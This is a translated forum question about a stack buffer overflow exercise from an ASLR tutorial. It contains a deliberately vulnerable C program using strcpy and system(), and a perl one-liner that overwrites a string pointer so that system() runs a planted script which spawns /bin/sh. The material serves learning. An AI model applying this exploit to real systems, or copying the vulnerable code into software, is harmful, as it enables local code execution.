/bin/sh генерирует вызов "sh: 1: Синтаксическая ошибка: ")" неожиданный" с shebang в первой строке скриптаLinux

Ответить Пред. темаСлед. тема
Anonymous
 /bin/sh генерирует вызов "sh: 1: Синтаксическая ошибка: ")" неожиданный" с shebang в первой строке скрипта

Сообщение Anonymous »

Я работаю над проблемой 5.1 (строковые указатели) в «Справочнике по ASLR Smack & Laugh» Тило Мюллера и генерирую следующую ошибку:

Код: Выделить всё

sh: 1: Syntax error: ")" unexpected
когда сценарий оболочки пытается запустить /bin/sh. Уязвимый код (strptr.c):

Код: Выделить всё

#include 
#include 

int main(int argc, char* argv[1])
{
char input[256];
char* conf = "test -f ~/.progrc";
char* license = "THIS SOFTWARE IS...";

printf(license);
strcpy(input, argv[1]);
if (system(conf)) printf("Missing .progrc");
}

Атакующий перезаписывает буфер входной и заменяет адрес conf в стеке адресом license< /сильный>. С помощью GDB мы определили, что адрес license равен 0x08048582, и, поместив адрес license в стек, системный вызов попытается интерпретировать "THIS" как исполняемый файл. В среде PATH существует исполняемый файл bash-скрипта (chmod 777) с именем "THIS", и мне несколько раз удавалось перезаписать строковый указатель для conf, но когда система пытается выполнить "THIS", получается следующий вывод:

Код: Выделить всё

$ ./strptr `perl -e 'print "A"x256; print "\x82\x85\04\08"'

sh: 1: Syntax error: ")" unexpected
THIS SOFTWARE IS...Missing .progrc
Сценарий оболочки "THIS":

Код: Выделить всё

#!/bin/sh

/bin/sh
Естественно я начал искать описания подобных ошибок и прочитал следующее:
1 - sh-1-syntax-error-unexpected-error
2 – bash-script-process-substitution-syntax-error-unexpected
3 – Использование вызова системной функции для выполнения команды оболочки
3 – Использование вызова системной функции для выполнения команды оболочки
2 – bash-script-process-substitution-syntax-error-unexpected p>
4 - Почему подмена процессов не работает в сценарии оболочки; Не то чтобы у меня в скрипте было перенаправление процессов, но никогда не знаешь, когда наткнешься на то, что нужно :)
Я еще просмотрел страницу man system(), но не нашел все, что связано с моей проблемой.
Я тестирую этот код на Ubuntu:

Код: Выделить всё

Linux user-VirtualBox 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:00 UTC 2021 i686 i686 i686 GNU/Linux
Я попробовал разные оболочки на хосте (sh, bash, Dash) и получил ту же ошибку. Я также протестировал другие команды оболочки в сценарии (дата, идентификатор и ifconfig) и выдал ту же ошибку. Сценарий "THIS" выполняется без ошибок из командной строки.
При чтении переполнения стека было обнаружено много похожих проблем, но ни одна из потенциальных подсказок не сработала. Спасибо за ваше терпение и помощь.

Подробнее здесь: https://stackoverflow.com/questions/784 ... bang-on-fi
Реклама
Ответить Пред. темаСлед. тема

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

  • Похожие темы
    Ответы
    Просмотры
    Последнее сообщение

Вернуться в «Linux»